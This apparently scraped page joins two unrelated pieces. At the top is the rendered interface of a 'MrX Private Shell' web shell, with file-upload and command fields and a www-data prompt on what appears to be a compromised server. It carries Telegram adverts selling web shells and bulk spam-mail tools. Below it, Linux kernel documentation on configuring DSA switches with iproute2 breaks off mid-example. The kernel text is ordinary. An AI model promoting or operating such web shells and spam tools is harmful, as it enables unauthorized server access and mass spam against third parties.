__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.121: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>DSA switch configuration from userspace &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="Linux Devlink Documentation" href="../devlink/index.html" />
    <link rel="prev" title="NXP SJA1105 switch driver" href="sja1105.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../../subsystem-apis.html#networking-interfaces">Networking interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="../index.html">Networking</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../netlabel/index.html">NetLabel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../infiniband/index.html">InfiniBand</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../isdn/index.html">ISDN</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../mhi/index.html">MHI</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/networking/dsa/configuration.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="dsa-switch-configuration-from-userspace">
<h1>DSA switch configuration from userspace<a class="headerlink" href="#dsa-switch-configuration-from-userspace" title="Link to this heading">¶</a></h1>
<p>The DSA switch configuration is not integrated into the main userspace
network configuration suites by now and has to be performed manually.</p>
<section id="configuration-showcases">
<span id="dsa-config-showcases"></span><h2>Configuration showcases<a class="headerlink" href="#configuration-showcases" title="Link to this heading">¶</a></h2>
<p>To configure a DSA switch a couple of commands need to be executed. In this
documentation some common configuration scenarios are handled as showcases:</p>
<dl class="simple">
<dt><em>single port</em></dt><dd><p>Every switch port acts as a different configurable Ethernet port</p>
</dd>
<dt><em>bridge</em></dt><dd><p>Every switch port is part of one configurable Ethernet bridge</p>
</dd>
<dt><em>gateway</em></dt><dd><p>Every switch port except one upstream port is part of a configurable
Ethernet bridge.
The upstream port acts as different configurable Ethernet port.</p>
</dd>
</dl>
<p>All configurations are performed with tools from iproute2, which is available
at <a class="reference external" href="https://www.kernel.org/pub/linux/utils/net/iproute2/">https://www.kernel.org/pub/linux/utils/net/iproute2/</a></p>
<p>Through DSA every port of a switch is handled like a normal linux Ethernet
interface. The CPU port is the switch port connected to an Ethernet MAC chip.
The corresponding linux Ethernet interface is called the conduit interface.
All other corresponding linux interfaces are called user interfaces.</p>
<p>The user interfaces depend on the conduit interface being up in order for them
to send or receive traffic. Prior to kernel v5.12, the state of the conduit
interface had to be managed explicitly by the user. Starting with kernel v5.12,
the behavior is as follows:</p>
<ul class="simple">
<li><p>when a DSA user interface is brought up, the conduit interface is
automatically brought up.</p></li>
<li><p>when the conduit interface is brought down, all DSA user interfaces are
automatically brought down.</p></li>
</ul>
<p>In this documentation the following Ethernet interfaces are used:</p>
<dl class="simple">
<dt><em>eth0</em></dt><dd><p>the conduit interface</p>
</dd>
<dt><em>eth1</em></dt><dd><p>another conduit interface</p>
</dd>
<dt><em>lan1</em></dt><dd><p>a user interface</p>
</dd>
<dt><em>lan2</em></dt><dd><p>another user interface</p>
</dd>
<dt><em>lan3</em></dt><dd><p>a third user interface</p>
</dd>
<dt><em>wan</em></dt><dd><p>A user interface dedicated for upstream traffic</p>
</dd>
</dl>
<p>Further Ethernet interfaces can be configured similar.
The configured IPs and networks are:</p>
<dl class="simple">
<dt><em>single port</em></dt><dd><ul class="simple">
<li><p>lan1: 192.0.2.1/30 (192.0.2.0 - 192.0.2.3)</p></li>
<li><p>lan2: 192.0.2.5/30 (192.0.2.4 - 192.0.2.7)</p></li>
<li><p>lan3: 192.0.2.9/30 (192.0.2.8 - 192.0.2.11)</p></li>
</ul>
</dd>
<dt><em>bridge</em></dt><dd><ul class="simple">
<li><p>br0: 192.0.2.129/25 (192.0.2.128 - 192.0.2.255)</p></li>
</ul>
</dd>
<dt><em>gateway</em></dt><dd><ul class="simple">
<li><p>br0: 192.0.2.129/25 (192.0.2.128 - 192.0.2.255)</p></li>
<li><p>wan: 192.0.2.1/30 (192.0.2.0 - 192.0.2.3)</p></li>
</ul>
</dd>
</dl>
</section>
<section id="configuration-with-tagging-support">
<span id="dsa-tagged-configuration"></span><h2>Configuration with tagging support<a class="headerlink" href="#configuration-with-tagging-support" title="Link to this heading">¶</a></h2>
<p>The tagging based configuration is desired and supported by the majority of
DSA switches. These switches are capable to tag incoming and outgoing traffic
without using a VLAN based configuration.</p>
<dl>
<dt><em>single port</em></dt><dd><div class="highlight-sh notranslate"><div class="highlight"><pre><span></span><span class="c1"># configure each interface</span>
ip<span class="w"> </span>addr<span class="w"> </span>add<span class="w"> </span><span class="m">192</span>.0.2.1/30<span class="w"> </span>dev<span class="w"> </span>lan1
ip<span class="w"> </span>addr<span class="w"> </span>add<span class="w"> </span><span class="m">192</span>.0.2.5/30<span class="w"> </span>dev<span class="w"> </span>lan2
ip<span class="w"> </span>addr<span class="w"> </span>add<span class="w"> </span><span class="m">192</span>.0.2.9/30<span class="w"> </span>dev<span class="w"> </span>lan3

<span class="c1"># For kernels earlier than v5.12, the conduit interface needs to be</span>
<span class="c1"># brought up manually before the user ports.</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth0<span class="w"> </span>up

<span class="c1"># bring up the user interfaces</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>lan1<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>lan2<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>lan3<span class="w"> </span>up
</pre></div>
</div>
</dd>
<dt><em>bridge</em></dt><dd><div class="highlight-sh notranslate"><div class="highlight"><pre><span></span><span class="c1"># For kernels earlier than v5.12, the conduit interface needs to be</span>
<span class="c1"># brought up manually before the user ports.</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth0<span class="w"> </span>up

<span class="c1"># bring up the user interfaces</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>lan1<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>lan2<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>lan3<span class="w"> </span>up

<span class="c1"># create bridge</span>
ip<span class="w"> </span>link<span class="w"> </span>add<span class="w"> </span>name<span class="w"> </span>br0<span class="w"> </span><span class="nb">type</span><span class="w"> </span>bridge

<span class="c1"># add ports to bridge</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>lan1<span class="w"> </span>master<span class="w"> </span>br0
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>lan2<span class="w"> </span>master<span class="w"> </span>br0
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>lan3<span class="w"> </span>master<span class="w"> </span>br0

<span class="c1"># configure the bridge</span>
ip<span class="w"> </span>addr<span class="w"> </span>add<span class="w"> </span><span class="m">192</span>.0.2.129/25<span class="w"> </span>dev<span class="w"> </span>br0

<span class="c1"># bring up the bridge</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>br0<span class="w"> </span>up
</pre></div>
</div>
</dd>
<dt><em>gateway</em></dt><dd><div class="highlight-sh notranslate"><div class="highlight"><pre><span></span><span class="c1"># For kernels earlier than v5.12, the conduit interface needs to be</span>
<span class="c1"># brought up manually before the user ports.</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth0<span class="w"> </span>up

<span class="c1"># bring up the user interfaces</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>wan<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>lan1<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>lan2<span class="w"> </span>up

<span class="c1"># configure the upstream port</span>
ip<span class="w"> </span>addr<span class="w"> </span>add<span class="w"> </span><span class="m">192</span>.0.2.1/30<span class="w"> </span>dev<span class="w"> </span>wan

<span class="c1"># create bridge</span>
ip<span class="w"> </span>link<span class="w"> </span>add<span class="w"> </span>name<span class="w"> </span>br0<span class="w"> </span><span class="nb">type</span><span class="w"> </span>bridge

<span class="c1"># add ports to bridge</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>lan1<span class="w"> </span>master<span class="w"> </span>br0
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>lan2<span class="w"> </span>master<span class="w"> </span>br0

<span class="c1"># configure the bridge</span>
ip<span class="w"> </span>addr<span class="w"> </span>add<span class="w"> </span><span class="m">192</span>.0.2.129/25<span class="w"> </span>dev<span class="w"> </span>br0

<span class="c1"># bring up the bridge</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>br0<span class="w"> </span>up
</pre></div>
</div>
</dd>
</dl>
</section>
<section id="configuration-without-tagging-support">
<span id="dsa-vlan-configuration"></span><h2>Configuration without tagging support<a class="headerlink" href="#configuration-without-tagging-support" title="Link to this heading">¶</a></h2>
<p>A minority of switches are not capable to use a taging protocol
(DSA_TAG_PROTO_NONE). These switches can be configured by a VLAN based
configuration.</p>
<dl>
<dt><em>single port</em></dt><dd><p>The configuration can only be set up via VLAN tagging and bridge setup.</p>
<div class="highlight-sh notranslate"><div class="highlight"><pre><span></span><span class="c1"># tag traffic on CPU port</span>
ip<span class="w"> </span>link<span class="w"> </span>add<span class="w"> </span>link<span class="w"> </span>eth0<span class="w"> </span>name<span class="w"> </span>eth0.1<span class="w"> </span><span class="nb">type</span><span class="w"> </span>vlan<span class="w"> </span>id<span class="w"> </span><span class="m">1</span>
ip<span class="w"> </span>link<span class="w"> </span>add<span class="w"> </span>link<span class="w"> </span>eth0<span class="w"> </span>name<span class="w"> </span>eth0.2<span class="w"> </span><span class="nb">type</span><span class="w"> </span>vlan<span class="w"> </span>id<span class="w"> </span><span class="m">2</span>
ip<span class="w"> </span>link<span class="w"> </span>add<span class="w"> </span>link<span class="w"> </span>eth0<span class="w"> </span>name<span class="w"> </span>eth0.3<span class="w"> </span><span class="nb">type</span><span class="w"> </span>vlan<span class="w"> </span>id<span class="w"> </span><span class="m">3</span>

<span class="c1"># For kernels earlier than v5.12, the conduit interface needs to be</span>
<span class="c1"># brought up manually before the user ports.</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth0<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth0.1<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth0.2<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth0.3<span class="w"> </span>up

<span class="c1"># bring up the user interfaces</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>lan1<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>lan2<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>lan3<span class="w"> </span>up

<span class="c1"># create bridge</span>
ip<span class="w"> </span>link<span class="w"> </span>add<span class="w"> </span>name<span class="w"> </span>br0<span class="w"> </span><span class="nb">type</span><span class="w"> </span>bridge

<span class="c1"># activate VLAN filtering</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>br0<span class="w"> </span><span class="nb">type</span><span class="w"> </span>bridge<span class="w"> </span>vlan_filtering<span class="w"> </span><span class="m">1</span>

<span class="c1"># add ports to bridges</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>lan1<span class="w"> </span>master<span class="w"> </span>br0
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>lan2<span class="w"> </span>master<span class="w"> </span>br0
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>lan3<span class="w"> </span>master<span class="w"> </span>br0

<span class="c1"># tag traffic on ports</span>
bridge<span class="w"> </span>vlan<span class="w"> </span>add<span class="w"> </span>dev<span class="w"> </span>lan1<span class="w"> </span>vid<span class="w"> </span><span class="m">1</span><span class="w"> </span>pvid<span class="w"> </span>untagged
bridge<span class="w"> </span>vlan<span class="w"> </span>add<span class="w"> </span>dev<span class="w"> </span>lan2<span class="w"> </span>vid<span class="w"> </span><span class="m">2</span><span class="w"> </span>pvid<span class="w"> </span>untagged
bridge<span class="w"> </span>vlan<span class="w"> </span>add<span class="w"> </span>dev<span class="w"> </span>lan3<span class="w"> </span>vid<span class="w"> </span><span class="m">3</span><span class="w"> </span>pvid<span class="w"> </span>untagged

<span class="c1"># configure the VLANs</span>
ip<span class="w"> </span>addr<span class="w"> </span>add<span class="w"> </span><span class="m">192</span>.0.2.1/30<span class="w"> </span>dev<span class="w"> </span>eth0.1
ip<span class="w"> </span>addr<span class="w"> </span>add<span class="w"> </span><span class="m">192</span>.0.2.5/30<span class="w"> </span>dev<span class="w"> </span>eth0.2
ip<span class="w"> </span>addr<span class="w"> </span>add<span class="w"> </span><span class="m">192</span>.0.2.9/30<span class="w"> </span>dev<span class="w"> </span>eth0.3

<span class="c1"># bring up the bridge devices</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>br0<span class="w"> </span>up
</pre></div>
</div>
</dd>
<dt><em>bridge</em></dt><dd><div class="highlight-sh notranslate"><div class="highlight"><pre><span></span><span class="c1"># tag traffic on CPU port</span>
ip<span class="w"> </span>link<span class="w"> </span>add<span class="w"> </span>link<span class="w"> </span>eth0<span class="w"> </span>name<span class="w"> </span>eth0.1<span class="w"> </span><span class="nb">type</span><span class="w"> </span>vlan<span class="w"> </span>id<span class="w"> </span><span class="m">1</span>

<span class="c1"># For kernels earlier than v5.12, the conduit interface needs to be</span>
<span class="c1"># brought up manually before the user ports.</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth0<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth0.1<span class="w"> </span>up

<span class="c1"># bring up the user interfaces</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>lan1<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>lan2<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>lan3<span class="w"> </span>up

<span class="c1"># create bridge</span>
ip<span class="w"> </span>link<span class="w"> </span>add<span class="w"> </span>name<span class="w"> </span>br0<span class="w"> </span><span class="nb">type</span><span class="w"> </span>bridge

<span class="c1"># activate VLAN filtering</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>br0<span class="w"> </span><span class="nb">type</span><span class="w"> </span>bridge<span class="w"> </span>vlan_filtering<span class="w"> </span><span class="m">1</span>

<span class="c1"># add ports to bridge</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>lan1<span class="w"> </span>master<span class="w"> </span>br0
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>lan2<span class="w"> </span>master<span class="w"> </span>br0
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>lan3<span class="w"> </span>master<span class="w"> </span>br0
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth0.1<span class="w"> </span>master<span class="w"> </span>br0

<span class="c1"># tag traffic on ports</span>
bridge<span class="w"> </span>vlan<span class="w"> </span>add<span class="w"> </span>dev<span class="w"> </span>lan1<span class="w"> </span>vid<span class="w"> </span><span class="m">1</span><span class="w"> </span>pvid<span class="w"> </span>untagged
bridge<span class="w"> </span>vlan<span class="w"> </span>add<span class="w"> </span>dev<span class="w"> </span>lan2<span class="w"> </span>vid<span class="w"> </span><span class="m">1</span><span class="w"> </span>pvid<span class="w"> </span>untagged
bridge<span class="w"> </span>vlan<span class="w"> </span>add<span class="w"> </span>dev<span class="w"> </span>lan3<span class="w"> </span>vid<span class="w"> </span><span class="m">1</span><span class="w"> </span>pvid<span class="w"> </span>untagged

<span class="c1"># configure the bridge</span>
ip<span class="w"> </span>addr<span class="w"> </span>add<span class="w"> </span><span class="m">192</span>.0.2.129/25<span class="w"> </span>dev<span class="w"> </span>br0

<span class="c1"># bring up the bridge</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>br0<span class="w"> </span>up
</pre></div>
</div>
</dd>
<dt><em>gateway</em></dt><dd><div class="highlight-sh notranslate"><div class="highlight"><pre><span></span><span class="c1"># tag traffic on CPU port</span>
ip<span class="w"> </span>link<span class="w"> </span>add<span class="w"> </span>link<span class="w"> </span>eth0<span class="w"> </span>name<span class="w"> </span>eth0.1<span class="w"> </span><span class="nb">type</span><span class="w"> </span>vlan<span class="w"> </span>id<span class="w"> </span><span class="m">1</span>
ip<span class="w"> </span>link<span class="w"> </span>add<span class="w"> </span>link<span class="w"> </span>eth0<span class="w"> </span>name<span class="w"> </span>eth0.2<span class="w"> </span><span class="nb">type</span><span class="w"> </span>vlan<span class="w"> </span>id<span class="w"> </span><span class="m">2</span>

<span class="c1"># For kernels earlier than v5.12, the conduit interface needs to be</span>
<span class="c1"># brought up manually before the user ports.</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth0<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth0.1<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth0.2<span class="w"> </span>up

<span class="c1"># bring up the user interfaces</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>wan<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>lan1<span class="w"> </span>up
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>lan2<span class="w"> </span>up

<span class="c1"># create bridge</span>
ip<span class="w"> </span>link<span class="w"> </span>add<span class="w"> </span>name<span class="w"> </span>br0<span class="w"> </span><span class="nb">type</span><span class="w"> </span>bridge

<span class="c1"># activate VLAN filtering</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>br0<span class="w"> </span><span class="nb">type</span><span class="w"> </span>bridge<span class="w"> </span>vlan_filtering<span class="w"> </span><span class="m">1</span>

<span class="c1"># add ports to bridges</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>wan<span class="w"> </span>master<span class="w"> </span>br0
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>eth0.1<span class="w"> </span>master<span class="w"> </span>br0
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>lan1<span class="w"> </span>master<span class="w"> </span>br0
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>dev<span class="w"> </span>lan2<span class="w"> </span>master<span class="w"> </span>br0

<span class="c1"># tag traffic on ports</span>
bridge<span class="w"> </span>vlan<span class="w"> </span>add<span class="w"> </span>dev<span class="w"> </span>lan1<span class="w"> </span>vid<span class="w"> </span><span class="m">1</span><span class="w"> </span>pvid<span class="w"> </span>untagged
bridge<span class="w"> </span>vlan<span class="w"> </span>add<span class="w"> </span>dev<span class="w"> </span>lan2<span class="w"> </span>vid<span class="w"> </span><span class="m">1</span><span class="w"> </span>pvid<span class="w"> </span>untagged
bridge<span class="w"> </span>vlan<span class="w"> </span>add<span class="w"> </span>dev<span class="w"> </span>wan<span class="w"> </span>vid<span class="w"> </span><span class="m">2</span><span class="w"> </span>pvid<span class="w"> </span>untagged

<span class="c1"># configure the VLANs</span>
ip<span class="w"> </span>addr<span class="w"> </span>add<span class="w"> </span><span class="m">192</span>.0.2.1/30<span class="w"> </span>dev<span class="w"> </span>eth0.2
ip<span class="w"> </span>addr<span class="w"> </span>add<span class="w"> </span><span class="m">192</span>.0.2.129/25<span class="w"> </span>dev<span class="w"> </span>br0

<span class="c1"># bring up the bridge devices</span>
ip<span class="w"> </span>link<span class="w"> </span><span class="nb">set</span><span class="w"> </span>br0<span class="w"> </span>up
</pre></div>
</div>
</dd>
</dl>
</section>
<section id="forwarding-database-fdb-management">
<h2>Forwarding database (FDB) management<a class="headerlink" href="#forwarding-database-fdb-management" title="Link to this heading">¶</a></h2>
<p>The existing DSA switches do not have the necessary hardware support to keep
the software FDB of the bridge in sync with the hardware tables, so the two
tables are managed separately (<code class="docutils literal notranslate"><span class="pre">bridge</span> <span class="pre">fdb</span> <span class="pre">show</span></code> queries both, and depending
on whether the <code class="docutils literal notranslate"><span class="pre">self</span></code> or <code class="docutils literal notranslate"><span class="pre">master</span></code> flags are being used, a <code class="docutils literal notranslate"><span class="pre">bridge</span> <span class="pre">fdb</span>
<span class="pre">add</span></code> or <code class="docutils literal notranslate"><span class="pre">bridge</span> <span class="pre">fdb</span> <span class="pre">del</span></code> command acts upon entries from one or both tables).</p>
<p>Up until kernel v4.14, DSA only supported user space management of bridge FDB
entries using the bridge bypass operations (which do not update the software
FDB, just the hardware one) using the <code class="docutils literal notranslate"><span class="pre">self</span></code> flag (which is optional and can
be omitted).</p>
<blockquote>
<div><div class="highlight-sh notranslate"><div class="highlight"><pre><span></span>bridge<span class="w"> </span>fdb<span class="w"> </span>add<span class="w"> </span>dev<span class="w"> </span>swp0<span class="w"> </span><span class="m">00</span>:01:02:03:04:05<span class="w"> </span>self<span class="w"> </span>static
<span class="c1"># or shorthand</span>
bridge<span class="w"> </span>fdb<span class="w"> </span>add<span class="w"> </span>dev<span class="w"> </span>swp0<span class="w"> </span><span class="m">00</span>:01:02:03:04:05<span class="w"> </span>static
</pre></div>
</div>
</div></blockquote>
<p>Due to a bug, the bridge bypass FDB implementation provided by DSA did not
distinguish between <code class="docutils literal notranslate"><span class="pre">static</span></code> and <code class="docutils literal notranslate"><span class="pre">local</span></code> FDB entries (<code class="docutils literal notranslate"><span class="pre">static</span></code> are meant
to be forwarded, while <code class="docutils literal notranslate"><span class="pre">local</span></code> are meant to be locally terminated, i.e. sent
to the host port). Instead, all FDB entries with the <code class="docutils literal notranslate"><span class="pre">self</span></code> flag (implicit or
explicit) are treated by DSA as <code class="docutils literal notranslate"><span class="pre">static</span></code> even if they are <code class="docutils literal notranslate"><span class="pre">local</span></code>.</p>
<blockquote>
<div><div class="highlight-sh notranslate"><div class="highlight"><pre><span></span><span class="c1"># This command:</span>
bridge<span class="w"> </span>fdb<span class="w"> </span>add<span class="w"> </span>dev<span class="w"> </span>swp0<span class="w"> </span><span class="m">00</span>:01:02:03:04:05<span class="w"> </span>static
<span class="c1"># behaves the same for DSA as this command:</span>
